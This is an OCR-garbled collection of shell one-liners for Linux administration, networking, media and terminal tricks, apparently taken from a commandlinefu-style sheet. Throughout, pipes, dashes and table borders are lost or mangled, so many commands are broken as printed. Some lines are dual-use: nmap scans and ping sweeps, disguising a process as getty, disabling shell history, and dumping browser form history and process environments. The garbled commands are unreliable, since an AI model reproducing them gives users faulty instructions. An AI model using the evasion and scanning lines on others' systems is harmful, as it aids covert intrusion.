$ sudo tcpdump -i wlan0 -n ip | awk '{ print gensub(/(.*)\..*/,"\\1","g",$3), $4, gensub(/(.*)\..*/,"\\1","g",$5) }' | awk -F " > " '{ print $1"
```

# Create a local compressed tarball from remote host directory

ssh user@hos	t "tar -zcf - /path/to/dir	" > dir.tar.gz
--------------	----------------------------	----------------

### df without line wrap on long FS name

\$ (	df	-P		СО	lumn	-t	厂
------	----	----	--	----	------	----	---

#### send a circular

\$ wall <<< "Broadcast This"	, L
------------------------------	-----

#### The BOFH Excuse Server

\$ telnet towel.blinkenlights.nl 666

## dd with progress bar and statistics

```
$ sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB BLACK BACKUP.IMG
```

# I finally found out how to use notify-send with at or cron

\$ echo " export DISPLAY=:0	<pre>; export XAUTHORITY=~/.Xauthority;</pre>	notify-
send test"   at now+1minute		

 $\Box$ 

冖

#### See udev at work

\$ udevadm monitor

Backup all MySQL Databases to individual files	
\$ for db in \$(mysql -e 'show databases' -sskip-column- names); do mysqldump \$db   gzip > "/backups/ mysqldump-\$(hostname)-\$db-\$(date +%Y-%m-%d- %H.%M.%S).gz"; done	
Ultimate current directory usage command	
\$ ncdu	
bash: hotkey to put current commandline to text-editor \$ bash-hotkey: <ctrl+x+e></ctrl+x+e>	
Show current working directory of a process	
\$ pwdx pid	
Have an ssh session open forever	
\$ autossh -M50000 -t server.example.com 'screen -raAd mysession'	
Base conversions with bc	
\$ echo "obase=2; 27"   bc -l	
Put readline into vi mode \$ set -o vi	
Transfer SSH public key to another machine in one step \$ ssh-keygen; ssh-copy-id user@host; ssh user@host	
Sall-Reygell, Sall-copy-id dael@flost, Sall dael@flost	
Start a command on only one CPU core	
\$ taskset -c 0 your_command	
convert uppercase files to lowercase files	
\$ rename 'y/A-Z/a-z/' *	
return external ip	
\$ curl ipinfo.io	

Simple multi-user encrypted chat server for 5 users	
\$ ncat -vlm 5sslchat 9876	
Check if your ISP is intercepting DNS queries	
\$ dig +short which.opendns.com txt @208.67.220.220	
Display current time in requested time zones.	
\$ zdump Japan America/New_York	
Remove a range of lines from a file	
\$ sed -i <file> -re '<start>,<end>d'</end></start></file>	
Stamp a text line on top of the pdf pages.	
\$ echo "This text gets stamped on the top of the pdf pages."   enscript -B - f Courier-Bold16 -o-   ps2pdf -   pdftk input.pdf stamp - output output.pdf	
Print diagram of user/groups	
<pre>\$ awk 'BEGIN{FS=":"; print "digraph{"} {split(\$4, a, ","); for (i in a) printf "\"%s\" [shape=box] \"%s\" -&gt; \"%s\"</pre>	
", \$1, a[i], \$1}END{ print "}"}' /etc/group display	
Create a file server, listening in port 7000	
\$ while true; do nc -l 7000   tar -xvf -; done	
bypass any aliases and functions for the command	
\$\foo	
Share your terminal session real-time	
\$ mkfifo foo; script -f foo	
stderr in color	
\$ mycommand 2> >(while read line; do echo - e "\e[01;31m\$line\e[0m"; done)	

$\ensuremath{\text{VI config}}$ to save files with +x when a shebang is found on line 1	
\$ au BufWritePost * if getline(1) =~ "\frac{\pm}{\pm}!"   if getline(1) =~ "\bin/"   silent !chmod +x <afile>   end if   end if</afile>	
Create a single PDF from multiple images with ImageMagick	
\$ convert *.jpg output.pdf	
Delete all empty lines from a file with vim	
\$:g/^\$/d	
perl one-liner to get the current week number	
\$ date +%V	
DELETE all those duplicate files but one based on md5 has comparision in the current directory tree	sh
$$$ findtype f -print0 xargs -0 md5sum sort perl -ne 'chomp;\$ph=\$h; (\$h,\$f)=split(/\s+/,\$_,2);print "\$f"."\x00"	
List recorded formular fields of Firefox	
\$ cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini   grep Path   awk - F= '{print \$2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null	
Using awk to sum/count a column of numbers.	
\$ cat count.txt   awk '{ sum+=\$1} END {print sum}'	
Get all the keyboard shortcuts in screen	
\$^A? 🗖	
Get list of servers with a specific port open	
\$ nmap -sT -p 80 -oG - 192.168.1.*   grep open	
Start a new command in a new screen window	
\$ alia s s=' screen -X screen'; s top; s vi; s man   s;	

Notepad in a browser (type this in the URL bar)	
\$ data:text/html, <html contenteditable=""></html>	
Extract audio from Flash video (*.flv) as mp3 file	
\$ ffmpeg -i video.flv -vn -ar 44100 -ac 2 -ab 192k -f mp3 audio.mp3	
cat a bunch of small files with file indication	
\$ grep . *	
Stop Flash from tracking everything you do.	
$for i in \sim 1.00000000000000000000000000000000000$	Ō
send a circular	
\$ echo "dear admin, please ban eribsskog"   wall	
List all open ports and their owning executables	
\$ Isof -i -P   grep -i "listen"	
Purge configuration files of removed packages on debian by systems	oased
\$ aptitude purge '~c'	
Monitor open connections for httpd including listen, count per IP	and sort it
\$ watch "netstat -plan grep :80 awk {'print \\$5'}   cut -d: -f 1   sort   uniq -c   sort -nk 1"	
Convert text to picture	
\$ echo -e "Some Text Line1 Some Text Line 2"   convert -background none -density 196 -resample 72 - unsharp 0x.5 -font "Courier" text:trim +repage -bordercolor white - border 3 text.gif	
Remote screenshot	
\$ DISPLAY=":0.0" import -window root screenshot.png	

Define words and phrases with google.	
\$ define(){   local y="\$@";curl -sA"Opera" "http://www.google.com/search? q=define:\${y// /+}" grep -Po '(?<= <li>)[^&lt;]+' nl perl -MHTML::Entities - pe 'decode_entities(\$_)' 2&gt;/dev/null;}</li>	
List all authors of a particular git project	
\$ git logformat='%aN'   sort -u	
track flights from the command line	
\$ flight_status() { if [[ \$# - eq 3 ]];then offset=\$3; else offset=0; fi; curl "http://mobile.flightview.com/Trac kByRoute.aspx?view=detail&al="\$1"&fn="\$2"&dpdat=\$(date +%Y%m%d - d \${offset}day)" 2>/dev/null  html2text  grep ":"; }	
Harder, Faster, Stronger SSH clients	
\$ ssh -4 -C -c blowfish-cbc	
Clean up poorly named TV shows.	
$\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ $	
Pretty Print a simple csv in the command line	
\$ column -s, -t <tmp.csv< td=""><td></td></tmp.csv<>	
Cleanup firefox's database.	
\$ find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;	כ
Mount the first NTFS partition inside a VDI file (VirtualBox	Disk Image)
\$ mount -t ntfs-3g - o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x\$(hd - n 1000000 image.vdi   grep "eb 52 90 4e 54 46 53"   cut -c 1- 8) image.vdi /mnt/vdi-ntfs	
check open ports	
\$ Isof -Pni4   grep LISTEN	

Find Duplicate Files (based on MD5 hash)	
\$ find -type f -exec md5sum '{}' ';'   sort   uniqall-repeated=separate - w 33   cut -c 35-	
Triple monitoring in screen	
\$ tmpfile=\$(mktemp) && echo -e 'startup_message off screen -t top h top split	
focus screen -t nethogs nethogs wlan0 split focus	
screen -t io top io top' > \$tmpfile && sudo screen -c \$tmpfile	
Print a great grey scale demo !	
\$ yes "\$(seq 232 255;seq 254 -1 233)"   while read i; do printf "\x1b[48;5;\${i}m "; sleep .01; done	
Create a list of binary numbers	
\$ echo {01}{01}{01}	
Create a system overview dashboard on F12 key	
\$ bind "'\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""	
Save an HTML page, and covert it to a .pdf file	
\$ wget \$URL   htmldocwebpage -f "\$URL".pdf -; xpdf "\$URL".pdf &	
create an emergency swapfile when the existing swap spatight	ace is getting
\$ sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000; sudo mkswap /swapfile; sudo swapon /swapfile	) <u> </u>
Relocate a file or directory, but keep it accessible on the other throug a simlink.	old location
\$ mv \$1 \$2 && In -s \$2/\$(basename \$1) \$(dirname \$1)	
disable history for current shell session	
\$ unset HISTFILE	

a short counter
\$ yes "   cat -n
How to run X without any graphics hardware
\$ startx `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
Rsync remote data as root using sudo
\$ rsync rsync-path 'sudo rsync' username@source:/folder/ /local/
Convert all MySQL tables and fields to UTF8
\$ mysqldatabase=dbname -B -N -e "SHOW TABLES"   awk '{print "ALTER TABLE", \$1, "CONVERT TO CHARACTER SET utf8 CO LLATE utf8_general_ci;"}'   mysqldatabase=dbname &
Quickly generate an MD5 hash for a text string using OpenSSL
\$ echo -n 'text to be encrypted'   openssl md5
Pipe STDOUT to vim
\$ tail -1000 /some/file   vim -
Copy stdin to your X11 buffer
\$ ssh user@host cat /path/to/some/file   xclip
Get info about remote host ports and OS detection
\$ nmap -sS -P0 -sV -O <target></target>
Copy a file structure without files
\$ find * -type d -exec mkdir /where/you/wantem/\{\} \;
Get http headers for an url
\$ curl -I www.commandlinefu.com
Count files beneath current directory (including subfolders) \$ findtype f   wc -l

random git-commit message	
\$ git commit -m "\$(curl -s http://whatthecommit.com/index.txt)";	
Generate QR code for a WiFi hotspot	
\$ qrencode -s 7 -o qr-wifi.png "WIFI:S:\$(zenityentry text="Network name (SSID)"title="Create WiFi QR");T:WPA;P:\$(zenity passwordtitle="Wifi Password");;"	□
vi a remote file	
\$ vi scp://username@host//path/to/somefile	
Show what PID is listening on port 80 on Linux	
\$ fuser -v 80/tcp	
convert from hexidecimal or octal to decimal	
\$ echo \$((0x1fe)) \$((033))	
save man-page as pdf	
\$ man -t awk   ps2pdf - awk.pdf	
Convert seconds into minutes and seconds	
\$ echo 'obase=60;299'   bc	
List by size all of the directories in a given tree.	
\$ du -h /path   sort -h	
List files accessed by a command	
\$ strace -ff -e trace=file my_command 2>&1   perl -ne 's/^[^"]+"(([^\\"] \\ [\\"nt])*)".*/\$1/ && print'	⋽
Find all the links to a file	
\$ find -L / -samefile /path/to/file -exec Is -Id {} +	

Recover tmp flash videos (deleted immediately by the brow	vser plugin)
\$ for h in `find /proc/*/fd -i Iname "/tmp/Flash*" 2>/dev/null`; do In - s "\$h" `readlink "\$h"   cut -d' ' -f1`; done	
rsync instead of scp	
\$ rsyncprogresspartialrsh="ssh -p 8322"bwlimit=100ipv4 user@domain.com:~/file.tgz .	
Visit wikileaks.com	
\$ echo 213.251.145.96 wikileaks.com >>/etc/hosts	
Make sudo forget password instantly	
\$ sudo -K	
Mirror a directory structure from websites with an Apache- file indexes	generated
\$ Iftp -e "mirror -c" http://example.com/foobar/	
Quickly share code or text from vim to others.  \$ :w !curl -F "sprunge=<-" http://sprunge.us   xclip	
Print a row of characters across the terminal	
\$ printf "%`tput cols`s" tr ' ' '#'	
Limit bandwidth usage by apt-get	
\$ sudo apt-get -o Acquire::http::DI-Limit=30 upgrade	
download and unpack tarball without leaving it sitting on y drive	our hard
\$ wget -qO - http://example.com/path/to/blah. tar.gz   tar xzf -	
Colored diff ( via vim ) on 2 remotes files on your local com	puter.
\$ vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf	

Tune your guitar from the command line.  \$ for n i n E2 A2 D3 G3 B3 E4;do play - n sy nth 4 pluck \$ n repeat 2;do ne	
Split a tarball into multiple parts	
\$ tar cf - <dir> split -b<max_size>M - <name>. tar.</name></max_size></dir>	
Remove executable bit from all files in the current directory recursively, excluding other directories	y
\$ chmod -R -x+X *	
Unbelievable Shell Colors, Shading, Backgrounds, Effects	for Non-X
\$ for c in `seq 0 255`;do t=5;[[ \$c -lt 108 ]]&&t=0; for i in `seq \$t 5`;do echo -e "\e[0;48;\$i;\${c}m   \$i:\$c `seq -s+0 \$((\$COLUMNS/2)) tr -d '[0-9]'`\e[0m";done;done	
More precise BASH debugging	
\$ env PS4=' \${BASH_SOURCE}:\${LINENO}(\${FUNCNAME[0]}) ' sh - x /etc/profile	
get all pdf and zips from a website using wget	
\$ wgetreject html,htmaccept pdf,zip -rl1 url	
Show me a histogram of the busiest minutes in a log file:	
<pre>\$ cat /var/log/secure.log   awk '{print substr(\$0,0,12)}'   uniq -c   sort -nr   awk '{printf(" %s ",\$0); for (i = 0; i&lt;\$1; i++) {printf("*")};}'</pre>	
Smiley Face Bash Prompt	
$PS1="\if [ \s? = 0 ]; then echo \e[33\;40m\\\-\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"$	
coloured tail \$ tail -f FILE   perl -pe 's/KEYWORD/\e[1;31;43m\$&\e[0m/g'	
Search for commands from the command line \$ clfu-seach <search words=""></search>	

Install a Firefox add-on/theme to all users  \$ sudo firefox -install-global-extension /path/to/add-on	
clear current line	
\$ CTRL+u	
Terminate a frozen SSH-session	
\$ RETURN~.	
Backup a remote database to your local filesystem	
\$ ssh user@host 'mysqldump dbname   gzip' > /path/to/backups/db-backup- `date +%Y-%m-%d`.sql.gz	
Download an entire static website to your local machine	
\$ wgetrecursivepage-requisitesconvert-links www.moyagraphix.co.za	Ō
Generat a Random MAC address	
$MAC=\(date; cat /proc/interrupts)   md5sum   sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`$	
Batch convert files to utf-8	
\$ findname "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} - o/newdir_utf8/{} \;	
Run entire shell script as root \$ #!/usr/bin/sudo /bin/bash	
Check if system is 32bit or 64bit	
Show permissions of current directory and all directories us namei -m \$(pwd)	ipwards to /
move you up one directory quickly	
\$ shopt -s autocd	

Hide the name of a process listed in the `ps` output
\$ exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files
Remove a line from a file using sed (useful for updating known SSH server keys when they change)
\$ ssh-keygen -R <thehost></thehost>
Short and elegant way to backup a single file before you change it.
\$ cp httpd.conf{,.bk}
Find the most recently changed files (recursively)
\$ findtype f -printf '%TY-%Tm-%Td %TT %p
All IP connected to my host
\$ netstat -lantp   grep ESTABLISHED   awk '{print \$5}'   awk -F: '{print \$1}'   sort -u
Figure out what shell you're running
\$ echo \$0
Download a file and uncompress it while it downloads
\$ wget http://URL/FILE. tar.gz -O -   tar xfz -
List 10 largest directories in current directory
\$ du -hs */   sort -hr   head
Rename all .jpeg and .JPG files to have .jpg extension
\$ rename 's/\.jpe?g\$/.jpg/i' *
See where a shortened url takes you before click
\$ check(){ curl -sl \$1   sed -n 's/Location: *//p';}
Stream YouTube URL directly to MPlayer
\$ yt () mplayer -fs -quiet \$(youtube-dl -g "\$1")

Generate a Random MAC address
\$ openssI rand -hex 6   sed 's/\(\)/\1:/g; s/.\$//'
Remove Thumbs.db files from folders
\$ find ./ -name Thumbs.db -delete
List open files that have no links to them on the filesystem
\$ Isof +L1
Display BIOS Information
\$# dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null   strings -n 8
open path with your default program (on Linux/*BSD)
\$ xdg-open [path]
Copy an element from the previous command
\$!:1-3
View user activity per directory.
\$ sudo   Isof -u someuser -a +D /etc
use the previous commands params in the current command
\$!!:[position]
Choose from a nice graphical menu which DI.FM radio station to play
\$ zenitylistwidth 500height 500column 'radio'column 'url'print-column 2 \$(curl -s http://www.di.fm/   awk - F "" '/href="http:.*\.pls.*96k/ {print \$2}'   sort   awk -F '/ \.' '{print \$(NF-1) " " \$0}')   xargs mplayer
check the status of 'dd' in progress (OS X)
\$ killall -INFO dd

copy from host1 to host2, through your host	
\$ ssh root@host1 "cd /somedir/tocopy/ && tar -cf"   ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"	
Convert all Flac in a directory to Mp3 using maximum quali bitrate	ity variable
\$ for file in *. flac; do flac -cd "\$ file"   lame -q 0vbr-new -V 0 - "\${ file%. flac}.mp3"; done	
recursive search and replace old with new string, inside file	es
\$ findtype f -exec sed -i s/oldstring/newstring/g {} +	
Clean your broken terminal	
\$ stty sane	
grep -v with multiple patterns.	
\$ grep 'test' somefile   grep -vE '(error critical warning)'	
redirect stdout and stderr each to separate files and print be screen	ooth to the
\$ (some_command 2>&1 1>&3   tee /path/to/errorlog ) 3>&1 1>&2   tee /path/to/stdoutlog	
Identify long lines in a file	
\$ awk 'length>72' file	
Use all the cores or CPUs when compiling \$ make -j 4	
Prints total line count contribution per user for an SVN rep	ository
\$ svn ls -R   egrep -v -e "V\$"   xargs svn blame   awk '{print \$2}'   sort   uniq -c   sort -r	
Analyze awk fields \$ awk '{print NR": "\$0; for(i=1;i<=NF;++i)print "\t"i": "\$i}'	

\$ svn diff <file>   vim -R -</file>	
Run a command, store the output in a pastebin on the in place the URL on the xclipboard	ternet and
\$ Is   curl -F 'sprunge=<-' http://sprunge.us   xclip	
Show git branches by date - useful for showing active br	anches
\$ for k in `git branch perl -pe s/^//`;do echo -e `git show pretty= format:"%Cgreen%ci %Cblue%cr%Creset" \$k head - n 1`\\t\$k;done sort -r	
Find if the command has an alias	
\$ type -all command	
Find last reboot time	
\$ who -b	
Get your public ip using dyndns	
\$ curl -s http://checkip.dyndns.org/   grep -o "[[:digit:].]\+"	
Show a config file without comments	
\$ egrep -v "^\$ ^[[:space:]]*#" /etc/some/file	
Start screen in detached mode	
\$ screen -d -m [ <command/> ]	
Given process ID print its environment variables	
\$ sed 's/\o0/ /g' /proc/INSERT_PID_HERE/environ	
Look up the definition of a word	
\$ curl dict://dict.org/d:something	

**Colored SVN diff** 

Diff files on two remote hosts.
\$ diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
Ctrl+S Ctrl+Q terminal output lock and unlock
\$ Ctrl+S Ctrl+Q
iso-8859-1 to utf-8 safe recursive rename
\$ detox -r -s utf_8 /path/to/old/win/files/dir
create dir tree
\$ mkdir -p doc/{text/,img/{wallpaper/,photos/}}
Run any GUI program remotely
\$ ssh -fX <user>@<host> <program></program></host></user>
Delete all empty lines from a file with vim
\$:g!/\S/d
List the files any process is using
\$ Isof +p xxxx
Backup your hard drive with dd
\$ sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
Show biggest files/directories, biggest first with 'k,m,g' eyecandy
\$ dumax-depth=1   sort -r -n   awk '{split("k m g",v); s=1; while(\$1>1024) {\$1/=1024; s++} print int(\$1)" "v[s]"\t"\$2}'
change directory to actual path instead of symlink path
\$ cd `pwd -P`
Recursively remove .svn directories from the current location \$ findtype d -name '.svn' -print0   xargs -0 rm -rdf

Read and write to TCP or UDP sockets with common bash to	ools
\$ exec 5<>/dev/tcp/time.nist.gov/13; cat <&5 & cat >&5; exec 5>&-	
Commandline document conversion with Libreoffice	
\$ sofficeheadless -convert-to odt:"writer8" somefile.docx	
Use top to monitor only all processes with the same name fifoo'	ragment
\$ top -p \$(pgrep -d , foo)	
HourGlass	
\$ hourglass() { trap 'tput cnorm' 0 1 2 15 RETURN;local s=\$((\$SECONDS +\$1)); (tput civis;while ((\$SECONDS<\$s));do for f in ' ' '\' '-' '/';do echo - n "\$f";sleep .2s; echo -n \$'\b';done;done;);}	
delete command line last word	
\$ ctrl+w	
Swap the two last arguments of the current command line \$ <ctrl+e> <esc+t></esc+t></ctrl+e>	
Draw kernel module dependancy graph.	
$\$ lsmod   awk 'BEGIN{ print "digraph{"}{split(\$4, a, ","); for (i in a) print \$1, "->", a[i]}END{ print "}"}' display	
Color man pages	
\$ echo "export LESS_TERMCAP_mb=\$'\E[01;31m'" >> ~/.bashrc	
Print without executing the last command that starts with \$!ssh:p	
What is the use of this switch?  \$ manswitch () { man \$1   less -p "^ +\$2"; }	

Save the list of all available commands in your box to a file
\$ compgen -c   sort -u > commands
Protect directory from an overzealous rm -rf *
\$ cd <directory>; touch ./-i</directory>
Watch RX/TX rate of an interface in kb/s
\$ while [ /bin/ true ]; do OLD=\$NEW; NEW=`cat /proc/net/dev   grep eth0   tr -s ' '   cut -d' ' -f "3 11"`; echo \$NEW \$OLD   awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", (\$1-\$3)/1024, (\$2-\$4)/1024)}'; sleep 1; done
Rapidly invoke an editor to write a long, complex, or tricky command
\$ <esc> v</esc>
Reuse last parameter
\$!\$
Blink LED Port of NIC Card
\$ ethtool -p eth0
pretend to be busy in office to enjoy a cup of coffee
\$ j=0;while true; do let j=\$j+1; for i in \$(seq 0 20 100); do echo \$i;sleep 1; do ne   dialoggauge "Install part \$j : `sed \$(perl - e "print int rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done
Running scripts after a reboot for non-root users.
\$ @reboot <yourscript.sh></yourscript.sh>
run command on a group of nodes in parallel
\$ echo "uptime"   pee "ssh host1" "ssh host2" "ssh host3"
make, or run a script, everytime a file in a directory is modified
\$ while true; do inotifywait -r -e MODIFY dir/ && make; done;

Convert a Nero Image File to ISO	
\$ dd bs=1k if=image.nrg of=image.iso skip=300	
Change prompt to MS-DOS one (joke)	
\$ export PS1="C:\\$( pwd   sed 's:/:\\\\\:g' )\\> "	
View network activity of any application or user in realtime	
\$ Isof -r 2 -p PID -i -a 🛅	
Copy with progress	
\$ rsyncprogress file1 file2	
a shell function to print a ruler the width of the terminal wir	ndow.
\$ ruler() { for s in '^ ' '1234567890'; do w=\${# s}; str=\$( for (( i=1; \$i<=\$ (( (\$COLUMNS + \$w) / \$w )) ; i=\$i+1 )); do echo - n \$ s; done ); str=\$( echo \$ str   cut -c -\$COLUMNS) ; echo \$ str; done; }	
Print a list of standard error codes and descriptions.	
\$ perl -le 'print \$!+0, "\t", \$!++ for 0127'	
generate random password	
\$ pwgen -Bs 10 1	
A function to output a man page as a pdf file	
$\$ function man2pdf(){ man -t \${1:?Specify man as arg}   ps2pdf - dCompatibility=1.3 > \${1}.pdf; }	
Search back through previous commands	
\$ Ctrl-R <search-text></search-text>	
Show directories in the PATH, one per line	
\$ echo \$PATH   tr \: \	

Move all images in a directory into a directory hierarchy based on year, month and day based on exif information
\$ exiftool '-Directory <datetimeoriginal' %d="" %m="" %y="" -d="" dir<="" td=""></datetimeoriginal'>
Follow tail by name (fix for rolling logs with tail -f) \$ tail -F file
Convert "man page" to text file  \$ man   s   col -b > ~/Desktop/ man_ ls.txt
Display current bandwidth statistics  \$ ifstat -nt
restoring some data from a corrupted text file \$ ( cat badfile.log; tac badfile.log   tac ) > goodfile.log
view the system console remotely \$ sudo cat /dev/vcs1   fold -w 80
Download all Delicious bookmarks
\$ curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
Redirect STDIN
\$ < /path/to/file.txt grep foo
I hate `echo X   Y`
\$ base64 - d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U 9Y29tbWFuZGxpbmVmdQo=
Send keypresses to an X application
\$ xvkbd -xsendevent -text "Hello world"

Add calendar to desktop wallpaper	
\$ convert -font -misc-fixed-*-*-*-*-*-*-* -fill black - draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg	
Browse system RAM in a human readable form	
\$ sudo cat /proc/kcore   strings   awk 'length > 20'   less	
Add forgotten changes to the last git commit	
\$ git commitamend	
Calculates the date 2 weeks ago from Saturday the specific	ed format.
\$ date -d '2 weeks ago Saturday' +%Y-%m-%d	
Get Cisco network information	
\$ tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'	
Press ctrl+r in a bash shell and type a few letters of a previous command	ous
\$ ^r in bash begins a reverse-search-history with command completion	
Extract audio from a video	
\$ ffmpeg -i video.avi -f mp3 audio.mp3	
Quick glance at who's been using your system recently	
\$ last   grep -v "^\$"   awk '{ print \$1 }'   sort -nr   uniq -c	
Get Dell Service Tag Number from a Dell Machine	
\$ sudo dmidecode   grep Serial\ Number   head -n1	
ping a range of IP addresses	
\$ nmap -sP 192.168.1.100-254	
Use last argument of last command	
\$ file !\$	

Show which programs are listening on TCP and UDP ports \$ netstat -plunt	
Print all git repos from a user	
\$ curl -s https://api.github.com/users/ <username>/repos? per_page=1000  grep git_url  awk '{print \$2}'  sed 's/"\(.*\)",/\1/'</username>	
Determine if a port is open with bash	
\$: <th></th>	
Search for a process by name	
\$ ps -fC PROCESSNAME	
Mount a VMware virtual disk (.vmdk) file on a Linux box	
\$ kpartx -av <image-flat.vmdk>; mount -o /dev/mapper/loop0p1 /mnt/vmdk</image-flat.vmdk>	)
Download all mp3's listed in an html page	
\$ wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off [url of website]	
Google text-to-speech in mp3 format	
\$ t2s() { wget -q -U Mozilla -O \$(tr ' ' _ <<< "\$1"  cut -b 1- 15).mp3 "http://translate.google.com/translate_tts?ie=UTF- 8&tl=en&q=\$(tr ' ' + <<< "\$1")"; }	
Run the built in PHP-server in current folder	
\$ php -S 127.0.0.1:8080	
Press enter and take a WebCam picture.	
\$ read && ffmpeg -y -r 1 -t 3 -f video4linux2 -vframes 1 -s sxga - i /dev/video0 ~/webcam-\$(date +%m_%d_%Y_%H_%M).jpeg	
sort the output of the 'du' command by largest first, using he readable output.	numan
\$ du -hmax-depth=1  sort -rh	

Verify/edit bash history command before executing it
\$ shopt -s histverify
Gets the english pronunciation of a phrase
\$ say() { mplayer "http://translate.google.com/translate_tts?q=\$1"; }
Check syntax for all PHP files in the current directory and all subdirectories
\$ findname \*. php -exec php -l "{}" \;
Ask for a password, the passwd-style
\$ read -s -p"Password: " USER_PASSWORD_VARIABLE; echo
monitor memory usage
\$ watch vmstat -sSM
Content search.
\$ ff() {   local   IFS=' ';   grep -rinE "\$*" . ; }
Timer with sound alarm
\$ sleep 3s && espeak "wake up, you bastard" 2>/dev/null
Run a program transparently, but print a stack trace if it fails
\$ gdb -batch -ex "run" -ex "bt" \${my_program} 2>&1   grep -v ^"No stack."\$
Send email with curl and gmail
\$ curl -nssl-reqdmail-from " <user@gmail.com>"mail-rcpt " <user@server.tld>"url smtps://smtp.gmail.com:465 -T file.txt</user@server.tld></user@gmail.com>
run command on a group of nodes in parallel
\$ echo "uptime"   tee >(ssh host1) >(ssh host2) >(ssh host3)
Display BIOS Information
\$ dmidecode -t bios

List of commands you use most often	
\$ history   awk '{a[\$2]++}END{for(i in a){print a[i] " " i}}'   sort -rn   head > /tmp/cmds   gnuplot - persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes')	
kill process by name	
\$ pkill -x firefox	
Ping scanning without nmap	
\$ for i in {1254}; do ping -c 1 -W 1 10.1.1.\$i   grep 'from'; done	
Make ISO image of a folder	
\$ mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 - o OpenCD.iso ~/OpenCD	
Typing the current date ( or any string ) via a shortcut as had been actually typed with the hardware keyboard in a	•
\$ xvkbd -xsendevent -text \$(date +%Y%m%d)	
Update twitter via curl (and also set the "from" bit)	
\$ curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml	
quickest (i blv) way to get the current program name min (BASH)	us the path
\$ path_stripped_programname="\${0##*/}"	
Play music from youtube without download	
\$ wget -q -O - `youtube-dl -b -g \$url`  ffmpeg -if mp3 -vn - acodec libmp3lame -  mpg123 -	
Function that outputs dots every second until command completes	
<pre>\$ sleeper(){ while `ps -p \$1 &amp;&gt;/dev/null`; do echo - n "\${2:}"; sleep \${3:-1}; done; }; export -f sleeper</pre>	

Identify differences between directories (possibly on differences)	ent servers)
$\$ diff <(ssh server01 'cd config; findtype f -exec md5sum {} \;  sort -k 2') <(ssh server02 'cd config; findtype f -exec md5sum {} \;  sort -k 2')	
Replace spaces in filenames with underscores	
\$ rename -v 's/ /_/g' *	
Show directories in the PATH, one per line	
\$ echo "\${PATH//:/\$"	
move a lot of files over ssh	
\$ rsync -az /home/user/test user@sshServer:/tmp/	
find and delete empty dirs, start in current working dir	
\$ findempty -type d -exec rmdir {} +	
urldecoding	
\$ sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\x\1/g'   xargs echo -e	
Validate and pretty-print JSON expressions.	
\$ echo '{"json":"obj"}'   python -m simplejson.tool	
List your largest installed packages.	
\$ wajig large	
Monitor TCP opened connections	
\$ watch -n 1 "netstat -tpanl   grep ESTABLISHED"	
Fix Ubuntu's Broken Sound Server	
\$ sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &	
beep when a server goes offline	
\$ while true; do [ "\$(ping -c1W1w1 server-or-ip.com   awk '/received/ {print \$4}')" != 1 ] && beep; sleep 1; done	

Number of open connections per ip.	
\$ netstat -ntu   awk '{print \$5}'   cut -d: -f1   sort   uniq -c   sort -n	
Fibonacci numbers with awk	
\$ seq 50  awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'	
Create a favicon	
\$ convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon - output favicon.ico face.ppm	
Check Ram Speed and Type in Linux	
\$ sudo dmidecodetype 17   more	
Run the Firefox Profile Manager	
\$ firefox -no-remote -P	
Sort dotted quads	
\$ sort -ntk 1,1 -k 2,2 -k 3,3 -k 4,4	
Resume aborted scp file transfers	
\$ rsyncpartialprogressrsh=ssh SOURCE DESTINATION	
Another Curl your IP command	
\$ curl -s http://checkip.dyndns.org   sed 's/[a-zA-Z<>/ :]//g'	
Add your public SSH key to a server in one command	
\$ cat . ssh/id_rsa.pub   ssh hostname ' cat >> . ssh/authorized_keys'	
cycle through a 256 colour palette	
\$ yes "\$(seq 232 255;seq 254 -1 233)"   while read i; do printf "\x1b[48;5;\${i}m "; sleep .01; done	
scping files with streamlines compression (tar gzip)	
\$ tar czv file1 file2 folder1   ssh user@server tar zxv -C /destination	

Select rectangular screen area	
\$ Ctrl + Alt	
Google verbatim search on your terminal	
\$ function google { Q="\$@"; GOOG_URL='https://www.google.de/search? tbs=li:1&q='; AGENT="Mozilla/4.0"; stream=\$(curl -A "\$AGENT" - skLm 10 "\${GOOG_URL}\${Q/\/ /+}"   grep -oP 'Vurl\?q=.+?&'   sed 's /url?q=  ; s &  '); echo -e "\${stream/\/%/\x}"; }	
grep processes list avoiding the grep itself	
\$ ps axu   grep [a]pache2	
Transfer a file to multiple hosts over ssh	
\$ pscp -h hosts.txt -l username /etc/hosts /tmp/hosts	
